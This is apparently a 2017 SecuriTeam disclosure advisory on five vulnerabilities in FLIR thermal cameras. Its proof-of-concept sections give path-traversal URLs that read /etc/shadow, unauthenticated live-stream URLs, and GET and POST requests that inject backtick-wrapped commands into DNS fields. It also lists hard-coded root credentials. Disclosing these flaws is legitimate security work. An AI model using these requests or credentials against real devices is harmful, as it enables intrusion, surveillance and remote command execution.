SSD Advisory – FLIR Systems Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3411

SSD / Maor Schwartz September 24, 2017

Vulnerabilities Summary
The following advisory describes 5 (five) vulnerabilities found in FLIR Systems FLIR Thermal/Infrared Camera FC-Series S, FC-Series ID, PT-Series.

FLIR – "Best-in-class thermal cameras with on-board analytics for high-performance intrusion detection. The new FC-Series ID combines best-in-class thermal image detail and high-performance edge perimeter analytics together in a single device that delivers optimal intrusion detection in challenging environments and extreme conditions".

The vulnerabilities found are:

- Information disclosure
- Stream disclosure
- Unauthenticated Remote Code Execution
- Authenticated Remote Code Execution
- Hard-coded Credentials

Credit
An independent security researcher, Gjoko Krstic – Zero Science Lab, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor Response
The vendor has been notified on the 27th of June 2017, several emails were exchanged, but no ETA for a fix or workaround have been provided for the following vulnerabilities.

Vulnerabilities details

Information Disclosure (1)
The FLIR web-server *webroot/js/fns.login.js* provides API functionality. By using the following API calls an attacker can download and read files from the FLIR OS:

- /api/xml?file=PATH-TO-FILE
- /api/file/download/PATH-TO-FILE
- /api/file/content/PATH-TO-FILE
- /api/server/videosnap?file=PATH-TO-FILE
- /page/maintenance/view/server-lan
- /api/file/ini/read
- /api/system/config/product

Proof of Concept

```
http://IP/api/xml?file=/etc/passwd
http://IP/api/xml?file=/etc/shadow
http://IP:8081/api/file/download/etc/shadow
http://IP:8081/api/file/download/etc/passwd
http://IP:8081/api/file/content/var/log/messages
http://IP:8081/api/server/videosnap?file=../../../../../../etc/passwd
http://IP:8081/page/maintenance/view/server-lan
http://IP/api/file/ini/read
http://IP:8081/api/system/config/product
```

Stream Disclosure
FLIR web-server does not validate if the user is authenticated when asked to show the live feed.

Proof of Concept
An attacker can get the live stream by sending sending the the following request:

```
http://IP:8081/graphics/livevideo/stream/stream3.jpg
http://IP/graphics/livevideo/stream/stream1.jpg
```

Unauthenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.

By sending GET request to /maintenance/controllerFlirSystem.php an attacker can trigger the vulnerability.

Proof of Concept

```
GET /maintenance/controllerFlirSystem.php?dns%5Bdhcp%5D=%60COMMAND-TO-EXECUTE%60&dns%5Bserver1%5D=1.2.3.4&dns%5Bserver2%5D=&_=1491052263282 HTTP/1.1
```

Authenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.

By sending POST request to //page/maintenance/lanSettings/dns an attacker can trigger the vulnerability.

Proof of Concept

```
POST /page/maintenance/lanSettings/dns HTTP/1.1
Host: TARGET:8081
Content-Length: 64
Accept: */*
Origin: http://TARGET:8081
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://TARGET:8081/maintenance
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=d1eabfdb8db4b95f92c12b8402abc03b
DNT: 1
Connection: close

dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D=8.8.4.4%60COMMAND-TO-EXECUTE%60
```

Hard-coded Credentials

```
root:indigo
root:video
default:video
default:[blank]
ftp:video
```